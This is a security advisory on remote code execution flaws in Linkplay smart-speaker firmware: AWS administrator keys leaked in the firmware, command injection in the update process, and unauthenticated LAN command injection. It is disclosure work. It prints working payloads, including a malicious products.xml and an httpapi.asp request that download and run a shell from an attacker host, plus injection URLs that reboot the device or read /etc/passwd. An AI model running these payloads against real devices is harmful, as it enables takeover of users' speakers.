Linkplay Firmware WAN/LAN Remote Code Execution

CVE-2019-15310, CVE-2019-15311, CVE-2019-15312

    Type

  • Multiple Remote Code Execution (WAN/LAN)
  • Severity

  • High
  • Affected products

  • Linkplay firmware
  • Credits

  • Credits to Tim Carrington for identifying the AWS Takeover and WAN RCE. Additional credits to Stefano Farletti and F-Secure's Bytegeist team for the majority of LAN RCE vulnerabilities disclosed.
  • Date

  • 2019-09-05
  • CVE Reference

  • CVE-2019-15310, CVE-2019-15311, CVE-2019-15312

Introduction

As part of an internal competition F-Secure identified multiple remote code execution vulnerabilities in the Zolo Halo smart speaker. Further analysis revealed these issues to be present in the base firmware image developed by Linkplay and used in a number of smart devices. At a high level, F-Secure were able to:

  • Execute code on any device through the update process (see WAN RCE below).
  • Execute code on any device if connected to the same network (see LAN RCE below).
  • Gain access to Linkplay’s AWS estate with administrator privileges (see AWS Takeover).

AWS Takeover

During initial vulnerability research of the Zolo Halo smart speaker, F-Secure discovered AWS credentials that could be leveraged to gain access to Linkplay’s S3 buckets containing device firmware.

Initial enumeration of the Zolo Halo speaker revealed a web application listening on TCP port 80. This was observed to be a GoAhead web server. Further enumeration of this application revealed the httpapi.asp endpoint that could be used to gather further information about the device. Coupled with information from a number of forums (eg https://community.home-assistant.io/t/linkplay-integration/33878/76 and https://www.diyaudio.com/forums/class-d/302748-am-v200-wifi.html) F-Secure were able to identify the GetUpdateServer command:

$ curl http://10.10.10.254/httpapi.asp\?command\=GetUpdateServer -v
* Trying 10.10.10.254...
* TCP_NODELAY set
* Connected to 10.10.10.254 (10.10.10.254) port 80 (#0)
> GET /httpapi.asp?command=GetUpdateServer HTTP/1.1
> Host: 10.10.10.254

* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Date: Fri May 24 19:53:04 2019
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-Control: no-cache
< Content-type: text/html
<
* Closing connection 0
http://silenceota.linkplay.com/wifi_audio_image

The silenceota.linkplay.com was an Amazon AWS S3 bucket containing firmware for over a hundred devices.

$ aws s3 ls s3://otasilence/
PRE sgw/
PRE wifi_audio_image/
PRE wifi_audio_image_crypt/
PRE wifi_audio_image_dsp/
PRE wifi_audio_image_mcu/
PRE wifi_audio_test/

Analysis of files within this bucket, a "products.xml" file was identified providing the location of the firmware for specific devices. The following output shows the entry for the Zolo Halo speaker:

<product>
<productid>Zolo_Halo</productid>
<hardwareversion>WiiMu-A31</hardwareversion>
<UUID>FF310082</UUID>
<major-url>
http://silenceota.linkplay.com/wifi_audio_image/M7hFsDfNwwQmU5WbsJmnFZ/product.xml
</major-url>
</product>

The corresponding "product.xml" file contains locations for all of up to date firmware:

<product>
<major-version>20181127</major-version>
<sign>ab6a814fbe506a4680e62e6054e25635</sign>
<md5-url>
http://silenceota.linkplay.com/wifi_audio_image/M7hFsDfNwwQmU5WbsJmnFZ/20181127/md5.txt
</md5-url>
<ver-url>
http://silenceota.linkplay.com/wifi_audio_image/M7hFsDfNwwQmU5WbsJmnFZ/20181127/MVver_20181127
</ver-url>
<layout-url>
http://silenceota.linkplay.com/wifi_audio_image/M7hFsDfNwwQmU5WbsJmnFZ/20181127/layout
</layout-url>
<image-uboot>
http://silenceota.linkplay.com/wifi_audio_image/M7hFsDfNwwQmU5WbsJmnFZ/uboot_v632.img
</image-uboot>
<image-backup>
http://silenceota.linkplay.com/wifi_audio_image/M7hFsDfNwwQmU5WbsJmnFZ/backup_new_v1141.img
</image-backup>
<image-kernel>
http://silenceota.linkplay.com/wifi_audio_image/M7hFsDfNwwQmU5WbsJmnFZ/20181127/a31ankera1alexa_new_uImage_20181127
</image-kernel>
</product>

The image-kernel tag contained the url for the device's firmware. This could be downloaded and the root file system extracted with binwalk.  Analysis of the file system revealed several interesting artefacts. Of note were a number of custom binaries, scripts and miscellaneous files:

system/workdir/config-powersave.sh system/workdir/evn.sh system/workdir/live.sh system/workdir/release.txt
system/workdir/delay_reboot.sh system/workdir/factory.sh system/workdir/MVver

system/workdir/bin:
a01controller apple_remote factory_audio imuzop mdevnotify ntpd smplayer
a01remoteupdate asr_tts factory_gpio intercom multiplayer ntpdate stunnel
airplay cxdish factory_upgrade iperf mv_ioguard pushdeviceinfo volumeprompt
alexa_alert dsp_upgrade httping logtool mv_netguard rootApp


system/workdir/misc:
ca.pem config.bin grender-120x120.jpg grender-48x48.jpg melody.mp3 stunnel.conf Voice-prompt
config general.dat grender-120x120.png grender-48x48.png privateKey stunnel.pem

system/workdir/script:
backupJffs2.sh burnrootImage.sh format_jffs2.sh restoreJffs2_user2.sh sysprivatelog.sh
backupJffs2_user2.sh ca-certificates.crt hosts run_a01remoteupdate.sh
burnjffs2.sh check_a01remoteupdate.sh jffs2.header sys_avs_log.sh
burnjffs2_user2.sh dnsmasq.conf

Whilst it is typical to see self-signed certificates in firmware, the file “/system/workdir/misc/privateKey” highlighted in the previous output contained AWS API keys:

$ cat system/workdir/misc/privateKey
{"access_key":"redacted","secret_key":"redacted"}

Enumeration of the S3 buckets associated with the AWS API keys revealed that Linkplay were using AWS to store firmware files, log files, and provide access to APIs. The following buckets were found to store firmware:

{
{
"Name": "otasilence",
"CreationDate": "2019-01-03T03:09:44.000Z"
},
{
"Name": "rlsd",
"CreationDate": "2019-03-29T08:33:57.000Z"
},
{
"Name": "silence",
"CreationDate": "2019-01-03T03:09:29.000Z"
},
{
"Name": "wubao",
"CreationDate": "2019-01-03T03:09:12.000Z"
}
}

Analysis of the impact of the leaked AWS credentials was performed through the AWS CLI. The API keys provided access to the AWS instance in the context of the "redacted" user:

$ aws iam get-user
{
"User": {
"Path": "/",
"UserName": "REDACTED",
"UserId": "...",
"CreateDate": "2017-06-23T07:41:08Z",
"PasswordLastUsed": "2019-05-27T02:46:10Z"
}
}

This user was a member of the "Administrators" group:

$ aws iam get-group --group-name Administrators
{
"Users": [
{
"Path": "/",
"UserName": "REDACTED",
"UserId": "...",
"CreateDate": "2017-06-23T07:41:08Z",
"PasswordLastUsed": "2019-05-23T02:54:44Z"
},

The Administrators group had the following attached policies:

"GroupDetailList": [
{
"Path": "/",
"GroupName": "Administrators",
"GroupId": "AGPAJJITWUOXLAF7QCSQO",
"Arn": "arn:aws:iam::073211146886:group/Administrators",
"CreateDate": "2016-06-26T05:42:10Z",
"GroupPolicyList": [
{
"PolicyName": "policygen-Administrators-201706231544",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1498203830000",
"Effect": "Allow",
"Action": [
"sts:AssumeRole"
],
"Resource": [
"arn:aws:iam::398391757924:role/OrganizationAccountAccessRole",
"arn:aws:iam::073211146886:role/REDACTED_2"
]
}
]
}
}
],
"AttachedManagedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
},

The AdministratorAccess policy highlighted in the previous output allows full access to the AWS instance. This is demonstrated by the “Action:*, Resource:*” permissions shown below:

{
"PolicyName": "AdministratorAccess",
"PolicyId": "ANPAIWMBCKSKIEE64ZLYK",
"Arn": "arn:aws:iam::aws:policy/AdministratorAccess",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 3,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2015-02-06T18:39:46Z",
"UpdateDate": "2015-02-06T18:39:46Z",
"PolicyVersionList": [
{
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2015-02-06T18:39:46Z"
}
]
},

Note that the REDACTED_2 role could be leveraged through assume-role. This role also had the AdministratorAccess policy attached, and so could provide privilege escalation should the REDACTED user be low privileged.

WAN Remote Code Execution

As described, when a device attempts to update a request made to “silenceota.linkplay.com/wifi_audio_image/prodcuts.xml”. This file is parsed in order to identify the location of device specific firmware. The silenceota.linkplay.com hostname is associated with the “otasilence” s3 bucket. As such, two routes to gain code execution through the firmware update process could be leveraged to compromise a large number of devices developed by Linkplay.

Given that the AWS API keys provide access to write to the “otasilence” bucket, an adversary could simply replace all firmware binaries with back-doored versions. This attack would be relatively stealthy, however does run the risk of breaking devices if the backdoored firmware is not correct.

A second method was identified that abuses a command injection vulnerability that occurs during parsing of the “products.xml” file. When a firmware update is requested, the “/system/workdir/bin/a01remoteupdate” binary is executed. In “a01remoteupdate” the UpdateImageAll method calls DownloadFile to first download the “products.xml” file:

.text:00406720 la $a0, 0x410000
.text:00406724 la $t9, printf
.text:00406728 lw $a1, 0x37B0+var_50($sp)
.text:0040672C jalr $t9 ; printf
.text:00406730 addiu $a0, (aOnlineUpdateBe - 0x410000) # "online update begin (count=%d)\n"
.text:00406734 lw $gp, 0x37B0+var_3788($sp)
.text:00406738 move $a0, $s0
.text:0040673C la $a1, 0x410000
.text:00406740 la $t9, 0x40545C
.text:00406744 bal DownloadFile
.text:00406748 addiu $a1, (aTmpProducts_xm - 0x410000) # "/tmp/products.xml"

If this download is successful, the ParseProducts method is called:

.text:0040690C loc_40690C: # CODE XREF: UpdateImageAll+248
.text:0040690C la $t9, 0x404AC8
.text:00406910 bal ParseProducts
.text:00406914 addiu $a0, $sp, 0x37B0+var_2DD8

The ParseProducts method uses an XML library to parse the “products.xml” file and retrieve the information required to request the device's firmware binary. Finally, DownloadFile is called a second time if ParseProducts is able to identify a valid url in the <major-url> tag for a matching product.

.text:00407AE4 la $s0, 0x410000
.text:00407AE8 la $t9, 0x40545C
.text:00407AEC addiu $a0, $sp, 0x37B0+var_2BD8
.text:00407AF0 bal DownloadFile
.text:00407AF4 addiu $a1, $s0, (aTmpProduct_xml - 0x410000) # "/tmp/product.xml"

 The DownloadFile method contains a trivially exploitable Operating System command injection vulnerability. The “wget” utility is executed in the download process with user controllable input - specifically the url from the <major-url> tag from the previously parsed “products.xml” file.

.text:0040575C loc_40575C: # CODE XREF: DownloadFile+64
.text:0040575C la $a1, 0x410000
.text:00405760 addiu $v0, $s1, (aTmpRemoteupdat - 0x410000) # "/tmp/remoteupdatewget.log"
.text:00405764 sw $v0, 0x258+var_248($sp)
.text:00405768 move $a0, $s2 # s
.text:0040576C addiu $a1, (aWgetT15OSS21Te - 0x410000) # "wget -T 15 -O %s '%s' 2>&1 | tee %s"
.text:00405770 move $a2, $s0
.text:00405774 jalr $t9 ; sprintf
.text:00405778 move $a3, $s3
.text:0040577C move $s4, $zero
.text:00405780 b loc_4054F0

.text:00405514 addiu $a0, $s1, -0x4160 # filename
.text:00405518 lw $gp, 0x258+var_240($sp)
.text:0040551C la $t9, WMUtil_system
.text:00405520 jalr $t9 ; WMUtil_system

.text:00405524 move $a0, $s2

As can be seen from the assembly, this method is also vulnerable to a stack based buffer overflow through an unsanitised call to sprintf.

In order to demonstrate exploitability of this issue without impacting legitimate service of Linkplay customers, F-Secure deployed a device in a restricted network with a DNS server under its control. The DNS server contained a record pointing “silenceota.linkplay.com” to a testing system. In reality, an attacker could simply edit the “products.xml” file on the “otasilence” AWS s3 bucket.

On an F-Secure controlled system acting as the “silenceota.linkplay.co”` host, a web server was started with a malicious “products.xml” file hosted at “/var/www/html/wifi_audio_image/”. This file contained a single entry to exploit the Zolo Halo smart speaker:

<productList>
<product>
<productid>Zolo_Halo</productid>
<hardwareversion>WiiMu-A31</hardwareversion>
<UUID>FF310082</UUID>
<major-url>http://'$(wget http://attackerIP:8000/shell -O /tmp/shell; chmod 777 /tmp/shell; /tmp/./shell)'</major-url>
</product>
</productList>

LAN Remote Code Execution

The previously described WAN RCE vulnerability presented a code pattern that was found in a variety of areas within the device firmware. F-Secure identified a number of similar vulnerabilities that could be leveraged by an attacker with network access to the affected devices. All vulnerabilities presented here can also be triggered remotely If a user on the local network is tricked into visiting a malicious website, as no CSRF protection is in place. This section provides analysis of one such vulnerability, subsequent sections provide a brief overview of the vulnerable functionality and example triggers.

Reverse engineering of the GoAhead web server hosted on the Zolo speaker revealed a command that could be used to set the network password:

http://192.168.0.66/httpapi.asp?command=setNetworkEx:1:414141414141

Further analysis revealed the GoaheadCmdParseThread function, defined within the “rootApp” binary, was responsible to parse HTTP requests. In particular, the following decompiled snippet of code shows how the HTTP request is handled when the “setNetworkEx” string is contained in the “command” parameter:

iVar12 = strncmp((char *)__s1,"setNetworkEx:",0xd);
if (iVar12 == 0)
{
iVar12 = FUN_00403008((int)&__s1->_IO_read_base + 1,1);
if (iVar12 == -1)
{
UnixSocketServer_write(auStack2172,"invalid input",0x15);
}

The highlighted function call shows the vulnerable calls to system (causing a buffer overflow) and sprintf (causing a command injection).

Exploitation could be achieved by making a request that uses the wget utility to download and execute a remote payload:

httpapi.asp?command=setNetworkEx:1:7765776577657765;/usr/bin/wget+http://192.168.0.71/ms+-O+/tmp/ms;/bin/chmod+777+/tmp/ms;/tmp/ms

F-Secure identified the following actions passed through the “command” parameter to the httpapi.asp endpoint were vulnerable to command injection.

Command Injection in getsyslog:ip:

The following URL triggers a command injection vulnerability which executes arbitrary commands as a privileged user:

http://zolo_ip:80/httpapi.asp?command=getsyslog:ip:;reboot

Command Injection in getStatus:ip

The following URL triggers a command injection vulnerability which executes arbitrary commands as a privileged user:

http://zolo_ip:80/httpapi.asp?command=getStatus:ip:;reboot;

Format String Vulnerabilities in getStatusEx

The getStatusEx command can pass user supplied format strings to a format string function. Both the device name and group name can be set by an unauthenticated user and trigger the bug if they contain format string sequences. The following commands can be used to set the values:

http://zolo_ip:80/httpapi.asp?command=setDeviceName:%x%x%x%x
http://zolo_ip:80/httpapi.asp?command=setGroupName:%x%x%x%x

And the results can be viewed using:

http://zolo_ip:80/httpapi.asp?command=getStatusEx

As the %n specifier is allowed this can be used to write to arbitrary memory locations and to achieve code execution.

Command Injection in factory_cxdish

The following URL triggers a command injection vulnerability allowing privileged commands to be run as a privileged user. Note that the user supplied command must be hex encoded, in the following example, the command is “cat /etc/passwd”:

http://10.10.10.254/httpapi.asp?command=factory_cxdish:636174202f6574632f706173737764

Impact

The combination of privileged AWS credentials that provide access to device firmware, combined with exploitable memory corruption and OS command injection vulnerabilities could result in exploitation of any device that attempts to update its firmware. Additionally due to the lack of authentication as well as other HTTP based attack mitigations, the LAN RCE vulnerabilities could be exploited from a malicious website.

Overall, F-Secure identified 89 devices that could be exploited through this method, gathered from the “products.xml” file (note there were 109 products in total, 20 of which were duplicates):

808SL-V
808XL-V
a28youyishi
a31faravs
a31ihomefaralexa
a31youyishi
Accelerate
AudioPro_A10
AudioPro_A40
AudioPro_C10
AudioPro_C3
AudioPro_C5
AudioPro_C5A
AudioPro_C5I
AudioPro_LINK1
Auvisio_QAS_300
BOX
BUSH_31326
CAW-12150
CAW-18057
CAW-37052
Creative_Nova
CVTE_SoundMax_1
CVTE_SoundMax_3
CVTE_SoundMax_5
CVTE_SoundMax_7
CVTE_SoundMax_Soundbar
DIDA
DOSS_FabriqChorus
Drumfire_D-1
Essb_Virtuoz_401
GGMMA31_E5A
GGMM_E2A
GGMM_E3
GGMM_E5A
GoHawk_Lit
HE_MINI
HMDX_W3111
HMDX_W3111_EU
HMDX_W3211
HMDX_W3211_EU
HOME2
HX-P590
ICOS
iEAST-01
iEAST-4Z
iHome_iAV14
IHOME_iAV14
iHome_iAVS16
IKBFV378
JENSEN_31324
KS_31330
MD-3119
MD43631
MD44120
MD44130
MET8040
MSH315V
MusicMan_BT-X34
MXQ_HF30
OE_VAALEXSB80
PWF1002
RHYMEET_R1
RSR_WR762
Smart5
Smart7
Smart_Speaker_PN
SUPERSONIC
SWF1005
SWF2001
SWF3001
SWF4001
SYLVANIA
T2328A
TIBO_31220
TIBO_31322
TIBO_31323
TTS-7199-92
uyesee-am160
uyesee-i50
Venus
Verdera_Voice_Lighted_Mirror
WB_135
WB_22_FABRIQ
WBA31
WS07VCA
XORO_XVS_200
XWF_500
Zolo_Halo